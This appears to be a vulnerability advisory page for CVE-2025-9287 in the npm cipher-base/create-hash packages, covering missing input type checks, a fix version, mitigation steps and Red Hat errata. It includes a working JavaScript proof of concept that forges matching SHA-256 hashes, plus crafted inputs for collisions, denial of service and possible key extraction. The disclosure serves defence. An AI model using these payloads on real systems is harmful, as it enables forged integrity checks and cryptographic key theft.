CVE-2025-9287 — cipher-base
Fix: browserify/cipher-base#23CVE-2025-9287 is a Improper Input Validation vulnerability in cipher-base. A fix is available for cipher-base — see the affected versions and patch details below.
Missing type checks leading to hash rewind and passing on crafted data
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-9287.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
cipher-basenpmDescription
Summary
This affects e.g. create-hash (and crypto-browserify), so I'll describe the issue against that package
Also affects create-hmac and other packages
Node.js createHash works only on strings or instances of Buffer, TypedArray, or DataView.
Missing input type checks (in npm create-hash polyfill of Node.js createHash) can allow types other than a well-formed Buffer or string, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.
Details
See PoC
PoC
const createHash = require('create-hash/browser.js')
const { randomBytes } = require('crypto')
const sha256 = (...messages) => {
const hash = createHash('sha256')
messages.forEach((m) => hash.update(m))
return hash.digest('hex')
}
const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever
const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever
console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])
Output:
9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9
9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9
Hashed input means safe
This works with:
const forgeHash = (valid, wanted) => JSON.stringify([wanted, { length: -wanted.length }, { ...valid, length: valid.length }])
But there are other types of input which lead to unchecked results
Impact
- Hash state rewind on
{length: -x}. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash. - Value miscalculation, e.g. a collision is generated by
{ length: buf.length, ...buf, 0: buf[0] + 256 }This will result in the same hash as ofbuf, but can be treated by other code differently (e.g. bn.js) - DoS on
{length:'1e99'} - On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration, like GHSA-vjh7-7g9h-fjfh)
- Also, other typed arrays results are invalid, e.g. returned hash of
new Uint16Array(5)is the same asnew Uint8Array(5), notnew Uint16Array(10)as it should have been (and is in Node.jscrypto) -- same for arrays with values non-zero, their hashes are just truncated to%256instead of converted to correct bytelength
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | cipher-base | all versions | 1.0.5npm install cipher-base@1.0.5 |
Affected Products
cipher-basebrowserifyDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for cipher-base, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update cipher-base to 1.0.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-9287 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.Source: Red Hat security advisory for CVE-2025-9287 (CC BY 4.0)
| Product | Fixed in | Advisory |
|---|---|---|
| multicluster engine for Kubernetes 2.7 for RHEL 8 | multicluster-engine-assisted-service-8-container-v2.7.6-2 | RHSA-2025:18278 |
| Red Hat Advanced Cluster Management for Kubernetes 2.12 for RHEL 9 | acm-cli-container-v2.12.5-4 | RHSA-2025:18744 |
| multicluster engine for Kubernetes 2.6 | multicluster-engine/console-mce-rhel9:v2.6 | RHSA-2025:23528 |
| multicluster engine for Kubernetes 2.8 | multicluster-engine/console-mce-rhel9:1765829333 | RHSA-2026:0722 |
| multicluster engine for Kubernetes 2.9 | multicluster-engine/console-mce-rhel9:v2.9 | RHSA-2025:19332 |
| Red Hat Advanced Cluster Management for Kubernetes 2.11 | rhacm2/console-rhel9:v2.11 | RHSA-2025:23529 |
| Red Hat Advanced Cluster Management for Kubernetes 2.13 | rhacm2/console-rhel9:1768001980 | RHSA-2026:0627 |
| Red Hat Advanced Cluster Management for Kubernetes 2.14 | rhacm2/console-rhel9:v2.14 | RHSA-2025:19335 |
Frequently Asked Questions
Is CVE-2025-9287 in your dependencies?
Find it across npm, including transitive dependencies.